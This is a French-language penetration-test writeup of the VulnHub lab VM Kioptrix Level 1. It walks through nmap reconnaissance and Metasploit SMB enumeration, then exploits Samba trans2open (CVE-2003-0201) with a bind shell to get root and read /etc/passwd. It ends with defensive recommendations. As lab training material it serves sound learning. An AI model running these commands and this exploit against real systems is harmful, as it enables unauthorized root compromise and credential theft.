pentest-writeups

Writeup Kioptrix Level 1 - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — Writeup de test de pénétration

Auteur : Amirbek Raxmatullayev (@americo_444)
Date : 2026-06-17
Plateforme : VulnHub
Difficulté : Débutant
Objectif : Obtenir un accès root

1. Configuration de l'environnement

Remarque : VirtualBox était incompatible avec le noyau 7.0.0-22-generic en raison d'un conflit d'espace de noms DKMS/KVM. Basculement vers QEMU/KVM et chargement direct du VMDK sans conversion.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. Reconnaissance

2.1 Découverte d'hôtes

nmap -sn 192.168.56.0/24

Résultat : cible identifiée à 192.168.56.101

2.2 Scan complet des ports et services

nmap -sV -sC -p- 192.168.56.101

Ports ouverts :

2.3 Énumération de la version SMB

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

Résultat : Samba 2.2.1a — version gravement vulnérable confirmée.

3. Analyse de la vulnérabilité

CVE-2003-0201 — Débordement de tampon Samba trans2open

Description :
Les versions 2.2.x de Samba contiennent une vulnérabilité de débordement de tampon basé sur la pile dans la fonction trans2open. Cela permet à un attaquant distant non authentifié d'exécuter du code arbitraire en tant que root.

Versions affectées : Samba 2.0.x — 2.2.8
Score CVSS : 10.0 (Critique)
Module d'exploitation : exploit/linux/samba/trans2open

4. Exploitation

4.1 Configuration Metasploit

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

Pourquoi bind_tcp plutôt que reverse_tcp ?
La charge utile reverse_tcp a échoué car la VM Kioptrix ne pouvait pas joindre l'attaquant via la configuration NAT/pont. Avec bind_tcp, l'attaquant se connecte à la cible — aucune connexion sortante n'est requise depuis la victime.

4.2 Sortie de l'exploitation

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

Shell obtenu ! ✅

5. Post-exploitation

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

Informations système :

• OS : Red Hat Linux, noyau 2.4.7 (construit en 2001)
• Utilisateurs locaux découverts : root, john, harold

6. Chaîne d'attaque

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. Enseignements clés

Ce que j'ai appris :

• Mettre en place un environnement de laboratoire avec QEMU/KVM lorsque VirtualBox échoue
• Prise d'empreinte des services avec nmap -sV -sC
• Énumération SMB à l'aide des modules auxiliaires de Metasploit
• Comprendre CVE-2003-0201 — les mécanismes du débordement de tampon de pile
• La différence entre les charges utiles bind_tcp et reverse_tcp et savoir quand utiliser chacune

Recommandations défensives (Blue Team) :

1. Mettre à niveau Samba vers la version 3.x ou une version ultérieure
2. Restreindre les ports 139/445 via le pare-feu — n'autoriser que les hôtes internes de confiance
3. Appliquer tous les correctifs OS et services disponibles
4. Mettre en place la segmentation du réseau — SMB ne doit jamais être exposé à l'extérieur
5. Déployer des règles IDS/IPS pour détecter les tentatives de débordement de tampon sur SMB

8. Outils utilisés

9. Références

• CVE-2003-0201 — NVD
• Rapid7 — Module trans2open
• VulnHub — Kioptrix Level 1

Écrit par Amirbek Raxmatullayev | BEK Coders Security Research | 2026